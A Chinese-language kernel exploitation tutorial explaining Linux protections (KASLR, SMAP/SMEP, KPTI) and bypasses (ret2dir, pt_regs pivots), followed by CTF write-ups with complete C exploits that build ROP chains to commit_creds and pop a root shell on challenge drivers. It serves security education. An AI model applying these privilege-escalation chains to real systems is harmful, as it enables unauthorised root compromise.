kernel从小白到大神(二)
前言:上一章主要是最基础的理论和环境搭建,这章主要开始简单的做一些题目和保护的认识/绕过。附件下载:https://pan.quark.cn/s/7270228d93d0
内核保护机制
KASLR
和普通用户态的ASLR差不多,都是基地址+偏移
在未开启 KASLR 保护机制时,内核代码段的基址为
0xffffffff81000000
,direct mapping area 的基址为0xffff888000000000
FGKASLR
KASLR的plus版本,以函数粒度重新排布内核代码
FGKASLR
会把不同的函数放到不同的节上。如下图本应都在.text一个section上,被分为多个节
ksymtab
kernel_symbol
结构体其记录了函数的偏移、函数名的偏移以及命名空间的偏移。在使用fgkalsr
编译后函数重定向通过此结构体。
struct kernel_symbol {
int value_offset; // 函数的偏移量
int name_offset; // 符号名称的偏移量
int namespace_offset; // 符号命名空间的偏移量
};
在开fgkalsr
之后,除了.text
等一些节,其他常用的提权函数都会参数随机化,利用kernel_symbol
结构体存储的偏移就能找到具体函数的内存地址,
有时候内核符号表不会记录ksymtab
的偏移,使用函数查找偏移锁定被随机化的函数
再源码的时候使用vscode
全局一层一层追踪过去
再kernel/module.c
中有__ksymtab
这个在上图查找kallsyms
文件中也有出现,__start___ksymtab
是指向内核符号表开始的指针, 和__stop___ksymtab
以定义符号表的范围
在kernel/module.c
找到each_symbol_section
函数(遍历各个符号表段)调用了__start___ksymtab
被集合定义成struct symsearch arr[]
通过each_symbol_section
函数查找偏移
拿到函数地址后,mov rbx,arr结构体的地址
,arr
的第一个参数就是__start___ksymtab
。
通过偏移的自身地址加上偏移就可以得到真实地址,这里要-2^32
是因为采用int
类型,这里的0xff4dd048
是为负数。
STACK PROTECTOR
和用户态的canary一样,防止栈溢出。
SMAP/SMEP
SMAP(Supervisor Mode Access Prevention)
管理模式访问保护;SMEP(Supervisor Mode Execution Prevention)
管理模式执行保护
用来防止内核态
访问/执行用户态
数据,完全将内核空间与用户空间隔离,两个保护一般都是同时开启,防止ret2usr
攻击
绕过的两种方式:
篡改CR4寄存器->ret2usr:CR4寄存器的第20位标识SMEP开关(0关,1开),利用kernel ROP
篡改CR4
,然后完成ret2usr
。不过现在都是KPTI
的内核,内核页面的用户地址没有执行权限,ret2usr已经过时。
ret2dir:简单说,把用户地址的数据映射到内核地址空间上。利用内核线性映射区对物理空间地址的完整映射,可以找到用户空间的数据,但是地址在内核空间上,利用内核地址访问用户的数据。
SMEP报错
KPTI
KPTI(Kernel page-table isolation)
内核页表隔离,内核空间与用户空间使用两组不同的页表集
这是v3.19.8下的64位内核布局,源码布局参考。在没使用KPTI之前的虚拟内存空间被分为两块(用户进程使用的用户空间、系统内核使用的内核空间)。
虚拟空间高处为内核使用,低处虚拟内存空间为用户进程使用,下图为未开启KPTI
的页表布局,每个进程都有一套指向进程自身的页表,由CR3
寄存器指向。
并且内核、用户空间共用一个页全局目录表PGD。
在开启KPTI
之后页表布局,下图是kernel mode(v5.19.17)
user mode(v5.19.17)
,内核页表和用户空间分别采用两组不同的页表集(内核页表、用户页表),每张表都有用户空间的完整映射,但是只有在内核页表上才有着对内核的完整映射,在用户页表只有少量内核代码(系统调用入口点、中断处理等)。当用户态和内核态切换的时候,就会涉及CR3寄存器切换。
KPTI中将内核空间的PGD和用户空间的PGD连续的放置在一个8KB的内存空间中(内核态在低位,用户态在高位)
KPTI
之后页表布局
KPTI 同时还令内核页表中属于用户地址空间的部分不再拥有执行权限,这使得 ret2usr 彻底成为过去式。
分析一下v5.19.17
内核在用户系统调用的入口处理,用户态与内核态之间的切换,源码在entry_64.S - arch/x86/entry/entry_64.S - Linux source code v5.19.17 - Bootlin
SYM_CODE_START(entry_SYSCALL_64)//开始定义系统调用处理函数的汇编
UNWIND_HINT_ENTRY //初始化栈展开信息
ENDBR
swapgs //切换gs寄存器,到内核态
/* tss.sp2 is scratch space. */
movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)// 将用户栈偏移保存到 per-cpu 变量 cpu_tss_rw+TSS_sp2 中
SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp //切换到内核页表(CR3操作)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp//将当前 CPU 的栈顶部指针恢复到 rsp,准备进行内核调用
SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)
ANNOTATE_NOENDBR
/* struct pt_regs设置 */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
pushq %rax /* pt_regs->orig_ax */
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
/* IRQs are off. */
movq %rsp, %rdi//将当前的rsp 复制到rdi,用于之后的参数传递。
/* Sign extend the lower 32bit as syscall numbers are treated as int */
movslq %eax, %rsi
/* clobbers %rax, make sure it is after saving the syscall nr */
IBRS_ENTER //进入一个安全的状态
UNTRAIN_RET
call do_syscall_64 /* 系统调用处理 */
/*尝试使用sysret返回用户态而不是iret,在Xen pv下必须使用iret*/
ALTERNATIVE "", "jmp swapgs_restore_regs_and_return_to_usermode", \
X86_FEATURE_XENPV
movq RCX(%rsp), %rcx
movq RIP(%rsp), %r11
cmpq %rcx, %r11 /* SYSRET requires RCX == RIP */
jne swapgs_restore_regs_and_return_to_usermode
/*
* On Intel CPUs, SYSRET with non-canonical RCX/RIP will #GP
* in kernel space. This essentially lets the user take over
* the kernel, since userspace controls RSP.
*
* If width of "canonical tail" ever becomes variable, this will need
* to be updated to remain correct on both old and new CPUs.
*
* Change top bits to match most significant bit (47th or 56th bit
* depending on paging mode) in the address.
*/
#ifdef CONFIG_X86_5LEVEL
ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
"shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
#else
shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
#endif
/* If this changed %rcx, it was not canonical */
cmpq %rcx, %r11
jne swapgs_restore_regs_and_return_to_usermode
cmpq $__USER_CS, CS(%rsp) /* CS must match SYSRET */
jne swapgs_restore_regs_and_return_to_usermode
movq R11(%rsp), %r11
cmpq %r11, EFLAGS(%rsp) /* R11 == RFLAGS */
jne swapgs_restore_regs_and_return_to_usermode
/*
* SYSCALL clears RF when it saves RFLAGS in R11 and SYSRET cannot
* restore RF properly. If the slowpath sets it for whatever reason, we
* need to restore it correctly.
*
* SYSRET can restore TF, but unlike IRET, restoring TF results in a
* trap from userspace immediately after SYSRET. This would cause an
* infinite loop whenever #DB happens with register state that satisfies
* the opportunistic SYSRET conditions. For example, single-stepping
* this user code:
*
* movq $stuck_here, %rcx
* pushfq
* popq %r11
* stuck_here:
*
* would never get past 'stuck_here'.
*/
testq $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11
jnz swapgs_restore_regs_and_return_to_usermode
/* nothing to check for RSP */
cmpq $__USER_DS, SS(%rsp) /* SS must match SYSRET */
jne swapgs_restore_regs_and_return_to_usermode
/*
* We win! This label is here just for ease of understanding
* perf profiles. Nothing jumps here.
*/
syscall_return_via_sysret:
IBRS_EXIT//退出安全的状态,恢复原来上下文
POP_REGS pop_rdi=0
/*
* Now all regs are restored except RSP and RDI.
* Save old stack pointer and switch to trampoline stack.
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp//切换到用户态的栈指针
UNWIND_HINT_EMPTY
pushq RSP-RDI(%rdi) /* RSP */
pushq (%rdi) /* RDI */
/*
* We are on the trampoline stack. All regs except RDI are live.
* We can do future final exit work right here.
*/
STACKLEAK_ERASE_NOCLOBBER
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi//切换到用户态的 CR3
popq %rdi
popq %rsp
SYM_INNER_LABEL(entry_SYSRETQ_unsafe_stack, SYM_L_GLOBAL)
ANNOTATE_NOENDBR
swapgs //切换回用户态的 GS 段寄存器
sysretq // 使用 SYSRET 指令返回用户态
SYM_INNER_LABEL(entry_SYSRETQ_end, SYM_L_GLOBAL)
ANNOTATE_NOENDBR
int3
SYM_CODE_END(entry_SYSCALL_64)
Bypass KPTI
大致三种方式:
- 从上面源码分析可以看到主要是cr3的切换和之前的寄存器检查,可以利用gadget来修改cr3,然后
iretq/sysret
返回 - 源码中还有大量跳转
swapgs_restore_regs_and_return_to_usermode
,可以直接使用这个函数,以mov rdi,rsp;
作为起点返回
swapgs_restore_regs_and_return_to_usermode;//( mov_rdi_rsp)
*(size_t*) "mowen";
*(size_t*) "mowen";
(size_t) getshell;
user_cs;
user_rflags;
user_sp;
user_ss;
- 使用
signal(SIGSEGV,shell)
捕获常规方式返回导致的SIGSEGV异常信号来get root shell。
ret2dir
ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种攻击手法,用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文处。
在上面页表中都有direct mapping of all physical memory
(直接映射区域),这个是内核的线性映射区,线性映射了整个 物理空间。
那么在这块区域上,存在用户空间地址和内核地址访问的物理地址页框是同一个,既同时存在着一个用户空间地址与内核空间地址到该物理页框的映射
在开启了smep/smap后,内核空间到用户空间的直接访问被禁止,如下图(图片来源于论文)。
在ret2dir手法中通过direct mapping of all physical memory
,可以隐式的访问到用户空间数据。在内核空间就能访问到用户空间的数据,该区域也被称为phsymap
,是很大一段的虚拟内存,映射了整个物理内存。
下图就是在论文中对ret2dir
这种攻击的示例图,不和ret2usr
一样,指针不是指向用户空间,而是指向直接映射区域,在用户空间构造的payload
也会映射到物理地址,所以只要在phsymap
区域找到用户空间的payload
就能执行。在高版本内核中 direct mapping area没有可执行权限需要通过ROP
利用。
因为通过/proc/pid/pagemap
获取物理地址和虚拟地址的映射关系是需要root权限的。
所以只能利用堆喷技术往phsymap
区域填充大量payload,提高命中概率。
ret2dir手法总结:
- 利用mmap或者堆喷技术在用户空间喷射大量相同的payload
- 随机挑选
direct mapping area
上的地址,大概率命中写入的payload
pt_regs
系统调用本质在syscall之后通过门结构进入entry_SYSCALL_64
函数,然后通过系统调用表跳到对应函数。entry_SYSCALL_64
在进入内核态前会将所有寄存器压入到内核栈上,形成pt_regs
结构体。
entry_SYSCALL_64定义
在arch/x86/entry/entry_64.S
pt_regs
定义在arch/x86/include/asm/ptrace.h
内核栈只有一个页面的大小,而pt_regs
固定在内核栈底部,当可以劫持到rip
的时候,需要通过rop
来控制rsp
可以使用到pt_regs
来构造ROP
。
来自wikiROP 板子,方便调试时观察。
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, datas;"
"mov rsi, flags;"
"mov rdi, dev_fd;"
"mov rax, 0;"
"syscall"
);
系统调用在内核栈的底部会被压入形成pt_regs
结构体,如果这个时候控制了rip,使用add rsp,0xn;ret;
配合pt_regs
完成ROP。
例题:MINI-LCTF2022 - kgadget
手法利用:pt_regs+ret2dir
开了smep/smap 但是没开Kaslr
直接给了call rbx
这里rbx来自[rdx]
程序很简单,就是传入数据(rdx),然后再做了清除pt_regs
操作之后,call [rdx](call rbx)
,这里pt_regs
没清理完全还有r8 r9
残留可以使用
但是开了smep/smap,直接在内核态执行用户代码会报错,没开kaslr
,现在只能控制rip,可以利用pt_regs
手法劫持rsp
跳到direct
区域,然后使用mmap
在phsymap
喷射大量提权payload
,然后利用direct
地址映射访问payload
然后返回用户态getshell
先利用pt_regs
控制rsp
到直接映射区
physmap spray
喷射最简单的办法mmap
for (size_t i = 0; i < 25000; i++)
{
physmap[i]=mmap(0,page_size,PROT_READ|PROT_WRITE,0X2|0x20,-1,0);
if(physmap[i]<=0)errExit("physmap ");
memcpy(physmap[i],payload,page_size);
}
然后利用direct
的地址就可以访问到payload,在没开kaslr下,direct
默认地址是 0xffff888000000000
这里的ROP是ROPgadget找不到的,需要手动寻找,先通过add rsp,0x90
寻找,然后再使用IDA反编译vmlinux
手动寻找
ROPgadget --binary vmlinux --opcode "4881c490000000"
EXP
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#define __int64 long long
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
size_t find_symbols();
void printColor(char* buf);
void errExit(char * msg);
void getshell(void);
size_t paddGG;
void ATTACK_construction(size_t* ptr,size_t size){
size_t sizeH=size/8;
size_t AddRspd0_ret=0xffffffff8106f989;
size_t AddRspb8_pop2_ret=0xffffffff81aefae5;
size_t rdi_ret=0xffffffff8108c6f0;
size_t ret=rdi_ret+1;
size_t init_cred=0xffffffff82a6b700;
size_t commit_creds=0xffffffff810c92e0;
size_t swapgs_ret=0xffffffff81c0129c;
size_t swapgs_ret2usr=0xffffffff81c00fb5-5;
size_t i=0;
for (; i < sizeH-0x180; i++)
{
ptr[i]=paddGG;
}
for (; i < sizeH-0x180+0x100; i++)
{
ptr[i]=ret;
}
ptr[i++]=rdi_ret;
ptr[i++]=init_cred;
ptr[i++]=commit_creds;
ptr[i++]=swapgs_ret2usr+27;
ptr[i++]=0;
ptr[i++]=0;
ptr[i++]=getshell;
ptr[i++]=user_cs;
ptr[i++]=user_rflags;
ptr[i++]=user_sp;
ptr[i++]=user_ss;
}
const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/dev/kgadget\0";
/*
ffffffff82a6b700 D init_cred
ffffffff810c92e0 T commit_creds
0xffffffff8106f989 : add rsp, 0xd0 ; ret
0xffffffff8108c6f0 : pop rdi ; ret
0xffffffff81c0129c : swapgs ; nop ; nop ; nop ; ret
0xffffffff81c00fb5-5
0xffffffff811483d0 : pop rsp ; ret
0xffffffff81004049 : 4881c490000000
.text:FFFFFFFF81004049 48 81 C4 90 00 00 00 add rsp, 90h
.text:FFFFFFFF81004050 5B pop rbx
.text:FFFFFFFF81004051 41 5C pop r12
.text:FFFFFFFF81004053 41 5D pop r13
.text:FFFFFFFF81004055 41 5E pop r14
.text:FFFFFFFF81004057 41 5F pop r15
.text:FFFFFFFF81004059 5D pop rbp
.text:FFFFFFFF8100405A C3 retn
*/
size_t physmap[66000];
size_t try_hit;
size_t rsp_ret;
int dev_fd;
size_t* payload;
size_t gg;
int main(void){
paddGG=0xffffffff81004049;
puts("[*]start");
save_status();
dev_fd = open(FileAttack,2);
if(dev_fd < 0){
errExit(FileAttack);
}
size_t page_size=sysconf(_SC_PAGESIZE);
printColor("physmap spary start");
payload=mmap(0,page_size,PROT_READ|PROT_WRITE,0X2|0x20,-1,0);
ATTACK_construction(payload,page_size);
for (size_t i = 0; i < 25000; i++)
{
physmap[i]=mmap(0,page_size,PROT_READ|PROT_WRITE,0X2|0x20,-1,0);
if(physmap[i]<=0)errExit("physmap ");
memcpy(physmap[i],payload,page_size);
}
printColor("physmap spary end...");
try_hit=raw_direct_base+0x7000000;
rsp_ret=0xffffffff811483d0;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, rsp_ret;"
"mov r8, try_hit;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, try_hit;"
"mov rsi, 0x1BF52;"
"mov rdi, dev_fd;"
"mov rax, 0x10;"
"syscall"
);
return 0;
}
void save_status(){
__asm__("mov user_cs,cs;"
"pushf;" //push eflags
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
size_t find_symbols(const char*FILENAME,__int64 commit_offset,__int64 prepare_offset){
FILE* kallsyms_fd = fopen(FILENAME,"r");
if(kallsyms_fd < 0){
errExit(FILENAME);
}
char buf[0x30] = {0};
while(fgets(buf,0x30,kallsyms_fd)){
if(commit_creds & prepare_kernel_cred)return 0;
//find commit_creds
if(strstr(buf,"commit_creds") && !commit_creds){
char hex[20] = {0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&commit_creds);
printf("commit_creds addr: %p\n",commit_creds);
vmlinux_base = commit_creds - commit_offset;
printf("vmlinux_base addr: %p\n",vmlinux_base);
}
//find prepare_kernel_cred
if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
char hex[20] = {0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n",prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - prepare_offset;
}
}
if(!commit_creds & !prepare_kernel_cred){
puts("[*]read kallsyms error!");
exit(0);
}
}
void getshell(void)
{
if(getuid())
{
errExit("get shell");
}
printColor("[*]Successful");
system("/bin/sh");
}
void printColor(char* buf){
printf("\033[31m\033[1m%s\033[0m\n",buf);
}
void errExit(char * msg){
char buf[128]={0};
sprintf(buf,"[X] Error : %64s !",msg);
printColor(buf);
exit(-1);
}
长城杯京津冀2024初赛Kylin_driver
手法利用:栈溢出+bypasskpti
ioctl中开始有一个xor的加密,rsi=0xdeadbeef
把栈上的数据复制用户
rsi=0xfeedface
的时候从用户复制到栈上,加密之后直接把rsp给抬到输入的地方,这直接白给
并且给了一些常用返回用户的rop,这里cr4没啥用开了kpti
最简单入门的内核题了,就是多了一个xor加密而已:利用泄露的栈上数据,找出基地址和canary,然后直接溢出
bypasskpti这里使用signal绕过。这是swapgs_restore_regs_and_return_to_usermode
的rop部分,使用这个返回,就不用使用了signal触发了
size_t swapgs_restore_regs_and_return_to_usermode=vmlinux_base+0xc01026;
qdata[idx++]=rdi_ret;
qdata[idx++]=0;
qdata[idx++]=prepare_kernel_cred;
qdata[idx++]=movRdiRax_ret;
qdata[idx++]=commit_creds;
qdata[idx++]=swapgs_restore_regs_and_return_to_usermode;
qdata[idx++]=0;
qdata[idx++]=0;
qdata[idx++]=(size_t)getshell;
qdata[idx++]=user_cs;
qdata[idx++]=user_rflags;
qdata[idx++]=user_sp;
qdata[idx++]=user_ss;
EXP
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#define __int64 long long
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
size_t find_symbols();
void printColor(char* buf);
void showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
void encode(char* buf,size_t length){
for (size_t i = 0; i < length; i++)
{
buf[i]^=0xF9;
}
}
const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/dev/test\0";
int dev_fd;
/*
ffffffff87802000
ffffffff878cfbe0 T prepare_kernel_cred 0xCFBE0
ffffffff878cf720 T commit_creds 0xCF720
0x75e2e9d51b00
0xffffffff81090c80 : pop rdi ; ret
0xffffffffc00cc009 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+9>: mov rdi,rax
0xffffffffc00cc00c <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+12>: ret
0xffffffffc00cc00d <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+13>: mov cr4,rdi
0xffffffffc00cc010 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+16>: ret
0xffffffffc00cc011 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+17>: swapgs
0xffffffffc00cc014 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+20>: ret
0xffffffffc00cc015 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+21>: iretq
0xffffffffc00cc017 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+23>: ret
0xffffffffc00cc018 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+24>: pop rbp
0xffffffffc00cc019 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+25>: ret
*/
unsigned char cry[32] =
{
0x67, 0x74, 0x77, 0x59, 0x48, 0x61, 0x6D, 0x57, 0x34, 0x55,
0x32, 0x79, 0x51, 0x39, 0x4C, 0x51, 0x7A, 0x66, 0x46, 0x4A,
0x53, 0x6E, 0x63, 0x66, 0x48, 0x67, 0x46, 0x66, 0x35, 0x50,
0x6A, 0x63
};
int main(void){
puts("[*]start");
signal(SIGSEGV,(getshell));
save_status();
dev_fd = open(FileAttack,2);
if(dev_fd < 0){
errExit(FileAttack);
}
unsigned char buf[1024]={0};
memcpy(buf,cry,32);
encode(buf,32);
ioctl(dev_fd,0xDEADBEEF,buf);
encode(buf+32,512);
size_t* qdata=(size_t*)(buf+32);
vmlinux_base=qdata[47]-0x1889ae;
vmlinux_base-=0x1a0000;
showAddr("vmlinux_base",vmlinux_base);
size_t canary=qdata[61];
showAddr("canary",canary);
prepare_kernel_cred=vmlinux_base+0xCFBE0;
commit_creds=vmlinux_base+0xCF720;
showAddr("prepare_kernel_cred",prepare_kernel_cred);
showAddr("commit_creds",commit_creds);
size_t usr_shellcode_base=qdata[0];
showAddr("usr_shellcode_base",usr_shellcode_base);
memset(buf,0,1024);
memcpy(buf,cry,32);
size_t offset=vmlinux_base-raw_vmlinux_base;
size_t rdi_ret=offset+0xffffffff81090c80;
size_t movRdiRax_ret=usr_shellcode_base+9;
size_t swapgs_ret=usr_shellcode_base+17;
size_t iretq_ret=usr_shellcode_base+21;
size_t movCr4Rdi_ret=swapgs_ret-4;
int idx=0;
qdata[idx++]=rdi_ret;
qdata[idx++]=0;
qdata[idx++]=prepare_kernel_cred;
qdata[idx++]=movRdiRax_ret;
qdata[idx++]=commit_creds;
qdata[idx++]=rdi_ret;
qdata[idx++]=0x6f0;
qdata[idx++]=movCr4Rdi_ret;
qdata[idx++]=swapgs_ret;
qdata[idx++]=iretq_ret;
qdata[idx++]=(size_t)getshell;
qdata[idx++]=user_cs;
qdata[idx++]=user_rflags;
qdata[idx++]=user_sp;
qdata[idx++]=user_ss;
encode(buf,512);
ioctl(dev_fd,0xFEEDFACE,buf);
return 0;
}
void save_status(){
__asm__("mov user_cs,cs;"
"pushf;" //push eflags
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
void getshell(void)
{
if(getuid())
{
errExit("get shell");
}
printColor("[*]Successful");
system("/bin/sh");
}
void printColor(char* buf){
printf("\033[31m\033[1m%s\033[0m\n",buf);
}
void showAddr(char*name,size_t data){
char buf[256]={0};
sprintf(buf,"[*] %s -> 0x%llx !",name,data);
printColor(buf);
}
void errExit(char * msg){
char buf[128]={0};
sprintf(buf,"[X] Error : %s !",msg);
printColor(buf);
exit(-1);
}
长城杯京津冀2024决赛Kylin_Overflow
手法利用:栈溢出+bypasskpti
要使用ioctl
必须先通过一个password
的检查
加密就是一些xor
等常规加密很好逆
0xFEEDFACE
的时候从用户数据复制到堆上
0xDEADBEEF
的时候把栈上的数据复制到用户,这里就可以泄露栈上的数据,泄露基地址和canary
0xCAFEBABE
会执行backdoor函数,有一个栈溢出的漏洞
题目并不难,主要多了一个加密和解密的操作,对应解加密就行,先利用栈数据泄露canary和内核基地址,然后溢出提权
在做这题的时候忘记程序给了gadget使用,自己找了多个gadget完成mov rdi, rax
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define u8 unsigned char
size_t user_cs, user_ss, user_rflags, user_sp;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode;
void save_status();
size_t find_symbols(const char*FILENAME);
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
int dev_fd;
void decode(unsigned char* buf, int length) {
for (int i = 0; i < length; i++) {
buf[i] = ((unsigned char)buf[i] >> 5) | (8 * buf[i]);
buf[i] = ~buf[i];
buf[i] = buf[i] ^ 0xf8;
buf[i] += 5;
}
}
void encode(unsigned char* buf, int length) {
for (int i = 0; i < length; i++) {
buf[i] -= 5;
buf[i] = buf[i] ^ 0xf8;
buf[i] = ~buf[i];
buf[i] = (32 * buf[i]) | ((unsigned char)buf[i] >> 3);
}
}
/*
*/
const char* FILESYM="/proc/kallsyms\0";
const char* FileAttack="/dev/test\0";
int main(void){
save_status();
GREEN;puts("[*]start");CLOSE;
dev_fd = open(FileAttack,2);
if(dev_fd < 0){
errExit(FileAttack);
}
u8 key[1024]="NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74";
decode(key,32);
ioctl(dev_fd,0xDEADBEEF,key);
u8*buf=(u8*)(key+32);
encode(buf,0x300);
size_t* ptr=(size_t*)buf;
size_t ko_gadget_addr=ptr[0];
size_t canary=ptr[0xc];
size_t vmlinux_leak_addr=ptr[0x7];
size_t stack_addr=ptr[0x5];
vmlinux_base=vmlinux_leak_addr-0x33dcac;
size_t ko_base=ko_gadget_addr-0x43;
showAddr(vmlinux_base)
showAddr(ko_base)
showAddr(canary)
showAddr(stack_addr)
//find_symbols(FILESYM);
prepare_kernel_cred=vmlinux_base+0xcfbe0;
commit_creds=vmlinux_base+0xcf720;
swapgs_restore_regs_and_return_to_usermode=vmlinux_base+0xc00ff0;
int idx=(0x110-0x8-0x8)/8;
size_t offset=vmlinux_base-raw_vmlinux_base;
ptr[idx++]=canary;
ptr[idx++]=stack_addr-0x170+0x40;
ptr[idx++]=offset+0xffffffff81090c80;
ptr[idx++]=0;
ptr[idx++]=prepare_kernel_cred;
ptr[idx++]=offset+0xffffffff811cc553;
ptr[idx++]=offset+0xffffffff81075158;
ptr[idx++]=offset+0xffffffff81032c89;
ptr[idx++]=offset+0xffffffff81090c80+1;
ptr[idx++]=offset+0xffffffff81090c80+1;
ptr[idx++]=offset+0xffffffff81090c80+1;
ptr[idx++]=offset+0xffffffff81090c80+1;
ptr[idx++]=offset+0xffffffff81090c80+1;
ptr[idx++]=offset+0xffffffff81090c80+1;
ptr[idx++]=offset+0xffffffff816753b0+2;
ptr[idx++]=0;
ptr[idx++]=offset+0xffffffff81a98ed2+4;
ptr[idx++]=offset+0xffffffff81090c80+1;
ptr[idx++]=offset+0xffffffff81090c80+1;
ptr[idx++]=offset+0xffffffff81090c80+1;
ptr[idx++]=offset+0xffffffff81090c80+1;
ptr[idx++]=commit_creds;
ptr[idx++]=swapgs_restore_regs_and_return_to_usermode+0x36;
ptr[idx++]=0;
ptr[idx++]=0;
ptr[idx++]=getshell;
ptr[idx++]=user_cs;
ptr[idx++]=user_rflags;
ptr[idx++]=user_sp;
ptr[idx++]=user_ss;
decode(buf,0x300);
ioctl(dev_fd,0xFEEDFACE,key);
ioctl(dev_fd,0xCAFEBABE,key);
BLUE;puts("[*]end");CLOSE;
return 0;
}
/*
0xffffffff81090c80 : pop rdi ; ret
0xffffffff81a7e822 : push rax ; pop rdi ; call qword ptr [rbp + 0x48]
0xffffffff811cc553 : pop rsi ; ret
0xffffffff81075158 : pop r12 ; pop rbp ; pop rbx ; ret
0xffffffff81032c89 : mov r8, rax ; call rsi
0xffffffff816753b0+2 : pop rdx ; ret
0xffffffff81a98ed2+4 : mov rdi, r8 ; call 0xffffffff815e50f0
0xffffffffa1298ed6: mov rdi,r8
0xffffffffa1298ed9: call 0xffffffffa0de50f0
0xffffffffa1298ede: mov r12,rax
0xffffffffa1298ee1: call 0xffffffffa092bb00 (ret)
0xffffffffa1298ee6: mov rax,r12
0xffffffffa1298ee9: pop r12
0xffffffffa1298eeb: pop rbp
0xffffffffa1298eec: ret
0xffffffffa0de50f0: mov rax,rdi
0xffffffffa0de50f3: test rdx,rdx
0xffffffffa0de50f6: je 0xffffffffa0de5114
0xffffffffa0de50f8: lea r8,[rdi+rdx*1]
0xffffffffa0de50fc: mov rdx,rdi
0xffffffffa0de50ff: movzx ecx,BYTE PTR [rsi]
0xffffffffa0de5102: cmp cl,0x1
0xffffffffa0de5105: mov BYTE PTR [rdx],cl
0xffffffffa0de5107: sbb rsi,0xffffffffffffffff
0xffffffffa0de510b: add rdx,0x1
0xffffffffa0de510f: cmp rdx,r8
0xffffffffa0de5112: jne 0xffffffffa0de50ff
0xffffffffa0de5114: ret
0xffffffff81090c7f : pop r15 ; ret
0xffffffff830820f4 : mov esi, 0xffffffff ; mov rdi, r8 ; call qword ptr [r15 + 0x18]
*/
void save_status(){
__asm__("mov user_cs,cs;"
"pushf;" //push eflags
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
void getshell(void)
{
RED;printf("[*]Successful");CLOSE;
system("/bin/sh");
}
